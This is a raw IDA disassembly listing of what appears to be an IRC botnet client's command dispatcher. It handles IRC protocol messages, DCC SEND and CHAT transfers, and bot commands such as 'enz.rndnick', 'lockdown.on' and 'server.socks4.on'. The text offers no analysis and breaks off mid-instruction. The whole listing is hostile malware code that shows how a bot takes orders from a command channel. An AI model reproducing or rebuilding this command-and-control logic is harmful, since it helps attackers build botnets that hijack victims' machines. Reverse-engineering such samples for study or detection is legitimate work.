byte ptr -4ECh var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D4 = byte ptr -4D4h var_4AC = byte ptr -4ACh var_48C = dword ptr -48Ch var_474 = byte ptr -474h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = byte ptr -448h var_444 = byte ptr -444h var_430 = byte ptr -430h var_420 = byte ptr -420h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h var_3F8 = dword ptr -3F8h var_3F4 = byte ptr -3F4h var_3E8 = byte ptr -3E8h var_3E4 = byte ptr -3E4h var_3C4 = byte ptr -3C4h var_3A0 = byte ptr -3A0h var_384 = byte ptr -384h var_374 = byte ptr -374h var_320 = dword ptr -320h var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_304 = dword ptr -304h var_300 = dword ptr -300h var_2FC = dword ptr -2FCh var_2F8 = dword ptr -2F8h var_2F4 = dword ptr -2F4h var_2F0 = dword ptr -2F0h var_2EC = dword ptr -2ECh var_2E8 = dword ptr -2E8h var_2E4 = byte ptr -2E4h var_2D8 = word ptr -2D8h var_2D6 = word ptr -2D6h var_2D4 = dword ptr -2D4h var_2C8 = byte ptr -2C8h var_C8 = dword ptr -0C8h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_54 = byte ptr -54h var_18 = byte ptr -18h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 159Ch call sub_415D70 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C8] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_98], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_C8], ebx call sub_415570 push 1Bh lea eax, [ebp+var_564] push [ebp+arg_10] push eax call sub_416D40 add esp, 18h cmp [ebp+arg_0], ebx jz loc_40D219 push esi lea eax, [ebp+var_F9C] push ebx push eax call sub_415570 dec esi lea eax, [ebp+var_F9C] push esi push [ebp+arg_0] push eax call sub_416D40 lea eax, [ebp+var_F9C] push offset asc_4365AC ; " :" push eax call sub_415AC0 mov [ebp+var_C], eax lea eax, [ebp+var_F9C] push esi push eax lea eax, [ebp+var_119C] push eax call sub_416D40 mov esi, offset asc_426A00 ; " " lea eax, [ebp+var_119C] push esi push eax call sub_416C98 add esp, 34h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+var_A8], 1Fh loc_40CF28: ; CODE XREF: sub_40CE55+E7j push esi push ebx call sub_416C98 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_40CF28 mov esi, [ebp+var_94] cmp esi, ebx jz loc_40D219 cmp [ebp+var_90], ebx jz loc_40D219 push 100h lea eax, [ebp+var_A14] push ebx push eax call sub_415570 add esp, 0Ch lea ecx, [ebp+var_18] push 1Fh pop edx push 1 pop edi loc_40CF76: ; CODE XREF: sub_40CE55+153j mov eax, [ecx] cmp eax, ebx jz short loc_40CFA2 cmp byte ptr [eax], 2Dh jnz short loc_40CFAA cmp [eax+2], bl jnz short loc_40CFAA movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_A14], 1 mov esi, [ebp+var_94] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_40CFA2: ; CODE XREF: sub_40CE55+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_40CF76 loc_40CFAA: ; CODE XREF: sub_40CE55+12Aj ; sub_40CE55+12Fj cmp [ebp+var_9A1], bl jz short loc_40CFB5 mov [ebp+var_8], edi loc_40CFB5: ; CODE XREF: sub_40CE55+15Bj cmp [ebp+var_9A6], bl jz short loc_40CFC3 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_40CFC3: ; CODE XREF: sub_40CE55+166j cmp byte ptr [esi], 0Ah jz short loc_40CFFD push 7Fh lea eax, [ebp+var_A94] push esi push eax call sub_416D40 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_416D40 lea eax, [ebp+var_C4] push offset dword_42F3F8 push eax call sub_416C98 add esp, 20h loc_40CFFD: ; CODE XREF: sub_40CE55+171j push esi push offset aPing ; "PING" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D04E push [ebp+var_90] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_412D06 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_40D0F2 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_412D06 add esp, 10h jmp loc_40D0F2 ; --------------------------------------------------------------------------- loc_40D04E: ; CODE XREF: sub_40CE55+1B7j mov esi, [ebp+var_90] push esi push offset a001 ; "001" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412B1A push esi push offset a005 ; "005" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412B1A push esi push offset a302 ; "302" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D0B9 push offset a@_6 ; "@" push [ebp+var_88] call sub_415AC0 pop ecx cmp eax, ebx pop ecx jz short loc_40D0F2 inc eax push 9Fh push eax push [ebp+arg_1C] call sub_416D40 add esp, 0Ch jmp short loc_40D0F2 ; --------------------------------------------------------------------------- loc_40D0B9: ; CODE XREF: sub_40CE55+238j push esi push offset a433 ; "433" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D0F9 push ebx push dword_4689AC push dword_42C1A4 push [ebp+arg_10] call sub_414433 push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_412D06 add esp, 1Ch loc_40D0F2: ; CODE XREF: sub_40CE55+1D8j ; sub_40CE55+1F4j ... mov eax, edi jmp loc_40D21C ; --------------------------------------------------------------------------- loc_40D0F9: ; CODE XREF: sub_40CE55+273j mov esi, [ebp+arg_18] mov [ebp+var_A8], 2 mov edi, 80h loc_40D10B: ; CODE XREF: sub_40CE55+2DBj lea eax, [ebp+var_A94] push eax push esi call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D128 mov [ebp+var_98], 1 loc_40D128: ; CODE XREF: sub_40CE55+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_40D10B mov esi, [ebp+var_90] push esi push offset aKick ; "KICK" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40D221 mov esi, [ebp+arg_18] mov [ebp+arg_24], 2 loc_40D157: ; CODE XREF: sub_40CE55+38Fj cmp [esi], bl jz loc_40D1DF push 7Fh lea eax, [ebp+var_A94] push esi push eax call sub_416D40 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_40D1DF cmp [ebp+var_88], ebx jz short loc_40D1DF push [ebp+var_88] lea eax, [ebp+var_C4] push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D1DF lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C8] push offset dword_436538 push eax call sub_4154E7 lea eax, [ebp+var_2C8] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_412D06 lea eax, [ebp+var_2C8] push eax call sub_40B16D add esp, 20h loc_40D1DF: ; CODE XREF: sub_40CE55+304j ; sub_40CE55+324j ... add esi, edi dec [ebp+arg_24] jnz loc_40D157 push [ebp+var_88] push [ebp+arg_10] call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D219 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_40D20E: ; CODE XREF: sub_40CE55+615j ; sub_40CE55+96Cj push [ebp+arg_4] call sub_412D06 loc_40D216: ; CODE XREF: sub_40CE55+51FEj ; sub_40CE55+521Bj ... add esp, 10h loc_40D219: ; CODE XREF: sub_40CE55+5Bj ; sub_40CE55+F1j ... push 1 loc_40D21B: ; CODE XREF: sub_40CE55+5745j pop eax loc_40D21C: ; CODE XREF: sub_40CE55+29Fj ; sub_40CE55+2164j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40D221: ; CODE XREF: sub_40CE55+2F2j push esi push offset aNick ; "NICK" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40D377 mov eax, [ebp+var_8C] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 2 mov [ebp+arg_24], eax loc_40D24A: ; CODE XREF: sub_40CE55+447j lea eax, [ebp+var_A94] push eax push esi call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D297 lea eax, [ebp+var_A94] push 21h push eax call sub_417080 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_40D297 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_415C00 push [ebp+arg_1C] push edi call sub_415C10 add esp, 10h mov edi, 80h loc_40D297: ; CODE XREF: sub_40CE55+406j ; sub_40CE55+41Dj add esi, edi dec [ebp+arg_0] jnz short loc_40D24A lea eax, [ebp+var_C4] test eax, eax jz loc_40D219 cmp [ebp+arg_24], ebx jz loc_40D219 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D2DF push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_416D40 add esp, 0Ch jmp loc_40D219 ; --------------------------------------------------------------------------- loc_40D2DF: ; CODE XREF: sub_40CE55+473j mov edi, [ebp+arg_18] xor esi, esi loc_40D2E4: ; CODE XREF: sub_40CE55+4B0j cmp [edi], bl jz short loc_40D2FB lea eax, [ebp+var_A94] push eax push edi call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40D30C loc_40D2FB: ; CODE XREF: sub_40CE55+491j inc esi add edi, 80h cmp esi, 2 jl short loc_40D2E4 jmp loc_40D219 ; --------------------------------------------------------------------------- loc_40D30C: ; CODE XREF: sub_40CE55+4A4j lea eax, [ebp+var_A94] push 21h push eax call sub_417080 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_40D219 push eax call sub_415CF0 push [ebp+arg_24] mov edi, eax call sub_415CF0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_40D219 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS_1 ; ":%s%s" push esi call sub_4154E7 push ebx lea eax, [ebp+var_4AC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_412D4C add esp, 24h jmp loc_40D219 ; --------------------------------------------------------------------------- loc_40D377: ; CODE XREF: sub_40CE55+3DBj push esi push offset aPart ; "PART" call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40D399 push esi push offset aQuit ; "QUIT" call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D3C0 loc_40D399: ; CODE XREF: sub_40CE55+531j mov edi, [ebp+arg_18] xor esi, esi loc_40D39E: ; CODE XREF: sub_40CE55+569j cmp [edi], bl jz short loc_40D3B4 push [ebp+var_94] push edi call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40D40E loc_40D3B4: ; CODE XREF: sub_40CE55+54Bj inc esi add edi, 80h cmp esi, 2 jl short loc_40D39E loc_40D3C0: ; CODE XREF: sub_40CE55+542j push [ebp+var_90] push offset a353 ; "353" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40D46F push [ebp+var_84] push [ebp+arg_8] call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D3F7 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40D3F7: ; CODE XREF: sub_40CE55+597j push [ebp+var_84] push offset dword_4364D8 loc_40D402: ; CODE XREF: sub_40CE55+5577j ; sub_40CE55+58F0j ... call sub_40B1E1 pop ecx loc_40D408: ; CODE XREF: sub_40CE55+5A05j pop ecx jmp loc_40D219 ; --------------------------------------------------------------------------- loc_40D40E: ; CODE XREF: sub_40CE55+55Dj mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C8] push offset dword_4364A4 push eax call sub_4154E7 lea eax, [ebp+var_2C8] push eax call sub_40B16D push [ebp+var_90] push offset aPart ; "PART" call sub_415910 add esp, 18h test eax, eax jnz loc_40D219 lea eax, [ebp+var_2C8] push eax mov eax, [ebp+var_94] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_40D20E ; --------------------------------------------------------------------------- loc_40D46F: ; CODE XREF: sub_40CE55+57Fj push [ebp+var_90] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_415910 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_40D4C3 push [ebp+var_90] push edi call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40D4C3 push [ebp+var_90] push offset dword_436490 call sub_415910 pop ecx test eax, eax pop ecx jnz loc_41298E cmp dword_42C194, ebx jz loc_41298E loc_40D4C3: ; CODE XREF: sub_40CE55+634j ; sub_40CE55+646j push [ebp+var_90] push esi call sub_415910 pop ecx test eax, eax pop ecx jz loc_40D649 push [ebp+var_90] push edi call sub_415910 pop ecx test eax, eax pop ecx jz loc_40D649 mov eax, [ebp+var_88] inc [ebp+var_84] push 4 mov [ebp+var_8C], eax pop esi mov [ebp+var_AC], esi loc_40D50A: ; CODE XREF: sub_40CE55+8B0j ; sub_40CE55+941j ... shl esi, 2 mov eax, [ebp+esi+var_94] lea edi, [ebp+esi+var_94] push eax push offset dword_436488 mov [ebp+arg_8], eax call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40D943 push [ebp+esi+var_90] push offset aSend_0 ; "SEND" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40D801 cmp [ebp+var_98], ebx jz loc_40D7D7 push [ebp+esi+var_8C] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_6FC] push edi push eax call sub_4154E7 push [ebp+esi+var_88] lea eax, [ebp+var_710] push edi push eax call sub_4154E7 push [ebp+esi+var_84] call sub_415A5F mov [ebp+var_578], eax mov eax, [ebp+arg_4] mov [ebp+var_718], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_5F8] push eax call sub_416D40 mov eax, [ebp+var_4] mov [ebp+var_570], eax mov eax, [ebp+var_8] mov [ebp+var_56C], eax lea eax, [ebp+var_5F8] push eax lea eax, [ebp+var_6FC] push eax lea eax, [ebp+var_2C8] push offset dword_436440 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 12h push eax call sub_414F93 add esp, 44h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_718] push ebx push eax push offset sub_40BAB4 push ebx push ebx call dword_42108C mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz loc_40D7C6 loc_40D633: ; CODE XREF: sub_40CE55+7F2j cmp [ebp+var_568], ebx jnz loc_40D7F9 push 32h call dword_421060 jmp short loc_40D633 ; --------------------------------------------------------------------------- loc_40D649: ; CODE XREF: sub_40CE55+67Ej ; sub_40CE55+694j push [ebp+var_90] push edi call sub_415910 pop ecx test eax, eax pop ecx jnz short loc_40D662 mov [ebp+var_4], 1 loc_40D662: ; CODE XREF: sub_40CE55+804j cmp [ebp+var_8C], ebx jz loc_40D219 push (offset loc_4263DB+1) push [ebp+var_8C] call sub_415AC0 pop ecx test eax, eax pop ecx jz short loc_40D689 cmp [ebp+var_4], ebx jz short loc_40D695 loc_40D689: ; CODE XREF: sub_40CE55+82Dj lea eax, [ebp+var_C4] mov [ebp+var_8C], eax loc_40D695: ; CODE XREF: sub_40CE55+832j cmp [ebp+var_88], ebx jz loc_40D219 inc [ebp+var_88] jz short loc_40D6E1 cmp [ebp+arg_10], ebx jz short loc_40D6E1 lea eax, [ebp+var_564] push eax call sub_415CF0 push eax lea eax, [ebp+var_564] push [ebp+var_88] push eax call sub_416ED0 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40D6E7 ; --------------------------------------------------------------------------- loc_40D6E1: ; CODE XREF: sub_40CE55+852j ; sub_40CE55+857j mov esi, [ebp+var_AC] loc_40D6E7: ; CODE XREF: sub_40CE55+88Aj mov edi, [ebp+esi*4+var_94] cmp edi, ebx jz loc_40D219 push edi push offset dword_436434 call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40D50A mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz short loc_40D787 mov eax, dword_4689BC mov eax, off_42C268[eax*4] cmp [eax], bl jz short loc_40D787 push eax push ecx push offset dword_436418 push [ebp+arg_4] call sub_412D06 lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C8] push offset aSHasJustVersio ; "%s has just versioned me." push eax call sub_4154E7 lea eax, [ebp+var_2C8] push eax call sub_40B16D add esp, 20h cmp [ebp+var_98], ebx jnz loc_40D219 push ebx lea eax, [ebp+var_2C8] push 1 push eax push offset dword_4688C4 loc_40D777: ; CODE XREF: sub_40CE55+52F2j push [ebp+arg_4] call sub_412D4C add esp, 14h jmp loc_40D219 ; --------------------------------------------------------------------------- loc_40D787: ; CODE XREF: sub_40CE55+8BFj ; sub_40CE55+8CFj push edi push offset dword_4363F4 call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40D50A mov eax, [ebp+esi*4+var_90] cmp eax, ebx jz loc_40D50A mov ecx, [ebp+var_8C] cmp byte ptr [ecx], 23h jz loc_40D50A push eax push ecx push offset dword_4363DC jmp loc_40D20E ; --------------------------------------------------------------------------- loc_40D7C6: ; CODE XREF: sub_40CE55+7D8j call dword_421088 push eax push offset dword_436390 jmp loc_40D92F ; --------------------------------------------------------------------------- loc_40D7D7: ; CODE XREF: sub_40CE55+6FFj lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C8] push [ebp+esi+var_8C] push offset dword_43633C push eax call sub_4154E7 add esp, 10h loc_40D7F9: ; CODE XREF: sub_40CE55+7E4j ; sub_40CE55+AA2j ... push 1 pop esi jmp loc_40EFAA ; --------------------------------------------------------------------------- loc_40D801: ; CODE XREF: sub_40CE55+6F3j push [ebp+esi+var_90] push offset aChat ; "CHAT" call sub_415910 pop ecx test eax, eax pop ecx jnz loc_40D959 cmp [ebp+var_98], ebx jz loc_40D923 push 13h call sub_4151DB test eax, eax pop ecx jnz loc_40D915 push [ebp+esi+var_88] lea eax, [ebp+var_710] push offset aS_1 ; "%s" push eax call sub_4154E7 push [ebp+esi+var_84] call sub_415A5F mov [ebp+var_578], eax mov eax, [ebp+arg_4] mov [ebp+var_718], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_5F8] push eax call sub_416D40 mov eax, [ebp+var_4] mov [ebp+var_570], eax mov eax, [ebp+var_8] mov [ebp+var_56C], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C8] push offset dword_436300 push eax call sub_4154E7 push ebx lea eax, [ebp+var_2C8] push 13h push eax call sub_414F93 add esp, 34h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_718] push ebx push eax push offset sub_40B551 push ebx push ebx call dword_42108C mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_43F55C[ecx], eax jz short loc_40D907 loc_40D8F1: ; CODE XREF: sub_40CE55+AB0j cmp [ebp+var_568], ebx jnz loc_40D7F9 push 32h call dword_421060 jmp short loc_40D8F1 ; --------------------------------------------------------------------------- loc_40D907: ; CODE XREF: sub_40CE55+A9Aj call dword_421088 push eax push offset dword_4362B8 jmp short loc_40D92F ; --------------------------------------------------------------------------- loc_40D915: ; CODE XREF: sub_40CE55+9DDj lea eax, [ebp+var_C4] push eax push offset dword_436274 jmp short loc_40D92F ; --------------------------------------------------------------------------- loc_40D923: ; CODE XREF: sub_40CE55+9CDj lea eax, [ebp+var_C4] push eax push offset dword_436230 loc_40D92F: ; CODE XREF: sub_40CE55+97Dj ; sub_40CE55+ABEj ... lea eax, [ebp+var_2C8] push eax call sub_4154E7 add esp, 0Ch jmp loc_40D7F9 ; --------------------------------------------------------------------------- loc_40D943: ; CODE XREF: sub_40CE55+6D8j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_42C19C mov [edi], ecx jnz loc_40D219 loc_40D959: ; CODE XREF: sub_40CE55+9C1j mov edi, [edi] push edi push offset aNewshit ; "newshit" mov [ebp+arg_8], edi call sub_415910 pop ecx test eax, eax pop ecx jz loc_412996 push edi push offset aHi_0 ; "hi" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412996 cmp [ebp+var_98], ebx jnz short loc_40D9AA push [ebp+var_90] push offset dword_436490 call sub_415910 pop ecx test eax, eax pop ecx jnz loc_41298E loc_40D9AA: ; CODE XREF: sub_40CE55+B39j cmp [ebp+arg_28], ebx jnz loc_41298E xor edi, edi cmp dword_42E7B8, ebx jle loc_40DB56 mov [ebp+arg_20], offset dword_43E7C8 loc_40D9C8: ; CODE XREF: sub_40CE55+B92j push [ebp+arg_8] push [ebp+arg_20] call sub_415910 pop ecx test eax, eax pop ecx jz short loc_40D9EE add [ebp+arg_20], 0B8h inc edi cmp edi, dword_42E7B8 jl short loc_40D9C8 jmp loc_40DB56 ; --------------------------------------------------------------------------- loc_40D9EE: ; CODE XREF: sub_40CE55+B82j push offset asc_4365AC ; " :" push [ebp+arg_0] call sub_415AC0 pop ecx cmp eax, ebx pop ecx jz loc_40D219 mov cl, byte_42C19C imul edi, 0B8h mov [eax+2], cl mov cl, byte_42C19C mov [eax+3], cl lea ecx, dword_43E7E0[edi] push 9Fh add eax, 4 push ecx push eax call sub_416D40 lea eax, [ebp+esi+var_54] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_40DA43: ; CODE XREF: sub_40CE55+C96j push [ebp+arg_20] lea eax, [ebp+var_A4] push offset aD_1 ; "$%d-" push eax call sub_4154E7 lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_415AC0 add esp, 14h test eax, eax jz short loc_40DAAF mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_40DAAF lea eax, dword_43E7C8[edi] push eax call sub_415CF0 add [ebp+var_C], eax pop ecx jz short loc_40DAE1 mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_415AC0 pop ecx cmp eax, ebx pop ecx jz short loc_40DAE1 push eax lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_4099AA add esp, 0Ch jmp short loc_40DAE1 ; --------------------------------------------------------------------------- loc_40DAAF: ; CODE XREF: sub_40CE55+C16j ; sub_40CE55+C1Dj mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_40DAE1 lea eax, [ebp+var_A4] push 2 push eax lea eax, [ebp+var_14] push eax call sub_416D40 lea eax, [ebp+var_14] mov [ebp+var_12], bl push eax lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_4099AA add esp, 18h loc_40DAE1: ; CODE XREF: sub_40CE55+C2Fj ; sub_40CE55+C43j ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_40DA43 lea eax, [ebp+esi+var_54] mov [ebp+arg_20], 10h mov edi, eax loc_40DAFE: ; CODE XREF: sub_40CE55+CF5j push [ebp+arg_20] lea eax, [ebp+var_A4] push offset aD_0 ; "$%d" push eax call sub_4154E7 lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_415AC0 add esp, 14h test eax, eax jz short loc_40DB41 mov eax, [edi] cmp eax, ebx jz short loc_40DB41 push eax lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_4099AA add esp, 0Ch loc_40DB41: ; CODE XREF: sub_40CE55+CD1j ; sub_40CE55+CD7j dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40DAFE mov [ebp+var_C8], 1 loc_40DB56: ; CODE XREF: sub_40CE55+B66j ; sub_40CE55+B94j mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_42C19C jz short loc_40DB6F cmp [ebp+var_C8], ebx jz loc_40DD54 loc_40DB6F: ; CODE XREF: sub_40CE55+D0Cj push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe_0 ; "$me" push edi call sub_4099AA lea eax, [ebp+var_C4] push eax push offset aUser_2 ; "$user" push edi call sub_4099AA push [ebp+var_8C] push offset aChan ; "$chan" push edi call sub_4099AA push ebx push ebx lea eax, [ebp+var_A4] push 2 push eax call sub_414433 push eax push offset aRndnick ; "$rndnick" push edi call sub_4099AA add esp, 40h push [ebp+arg_14] push offset aServer_2 ; "$server" push edi call sub_4099AA mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_415AC0 add esp, 14h loc_40DBE1: ; CODE XREF: sub_40CE55+E78j test eax, eax jz loc_40DCD2 push edi push [ebp+arg_0] call sub_415AC0 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A4] push eax call sub_416D40 lea eax, [ebp+var_A4] push offset asc_4361E4 ; ")" push eax call sub_416C98 add esp, 1Ch cmp [ebp+var_A4], 30h jl short loc_40DC2D cmp [ebp+var_A4], 39h jle short loc_40DC43 loc_40DC2D: ; CODE XREF: sub_40CE55+DCDj push 3 lea eax, [ebp+var_A4] push offset a63 ; "63" push eax call sub_416D40 add esp, 0Ch loc_40DC43: ; CODE XREF: sub_40CE55+DD6j lea eax, [ebp+var_A4] push eax call sub_415A5F test eax, eax pop ecx jle short loc_40DC66 lea eax, [ebp+var_A4] push eax call sub_415A5F pop ecx mov [ebp+var_14], al jmp short loc_40DC77 ; --------------------------------------------------------------------------- loc_40DC66: ; CODE XREF: sub_40CE55+DFDj call sub_415543 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_14], dl loc_40DC77: ; CODE XREF: sub_40CE55+E0Fj lea eax, [ebp+var_A4] mov [ebp+var_13], bl push eax call sub_415CF0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A4] push ebx push eax call sub_415570 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A4] push [ebp+arg_10] push eax call sub_416D40 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_4099AA push edi push [ebp+arg_0] call sub_415AC0 add esp, 30h jmp loc_40DBE1 ; --------------------------------------------------------------------------- loc_40DCD2: ; CODE XREF: sub_40CE55+D8Ej mov edi, 1FFh lea eax, [ebp+var_F9C] push edi push [ebp+arg_0] push eax call sub_416D40 lea eax, [ebp+var_F9C] push edi push eax lea eax, [ebp+var_119C] push eax call sub_416D40 lea eax, [ebp+var_119C] push offset asc_426A00 ; " " push eax call sub_416C98 add esp, 20h mov [ebp+var_94], eax lea edi, [ebp+var_90] mov [ebp+arg_10], 1Fh loc_40DD22: ; CODE XREF: sub_40CE55+EE2j push offset asc_426A00 ; " " push ebx call sub_416C98 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40DD22 mov ecx, [ebp+esi+var_94] lea eax, [ebp+esi+var_94] cmp ecx, ebx jz loc_40D219 add ecx, 3 mov [eax], ecx loc_40DD54: ; CODE XREF: sub_40CE55+D14j mov edi, [ebp+esi+var_94] push edi push offset aEnz_rndnick ; "enz.rndnick" mov [ebp+arg_8], edi call sub_415910 pop ecx test eax, eax pop ecx jz loc_412941 push edi push offset aEnz_rn ; "enz.rn" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412941 push edi push offset aEnz_endsess ; "enz.endsess" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41291F push edi push offset aEnz_d ; "enz.d" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41291F push edi push offset aEnz_logout ; "enz.logout" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41287D push edi push offset aEnz_lo ; "enz.lo" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41287D push edi push offset aEnz_version ; "enz.version" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41285F push edi push offset aEnz_ver ; "enz.ver" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41285F push edi push offset aLockdown_on ; "lockdown.on" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41274A push edi push offset aLd_on ; "ld.on" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41274A push edi push offset aLockdown_off ; "lockdown.off" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41274A push edi push offset aLd_off ; "ld.off" call sub_415910 pop ecx test eax, eax pop ecx jz loc_41274A push edi push offset aServer_socks4_ ; "server.socks4.on" call sub_415910 pop ecx test eax, eax pop ecx jz loc_412628 push edi push offset aServer_s4_on ; "server.s4.on" call sub_415910 pop ecx test eax, eax pop ecx jz 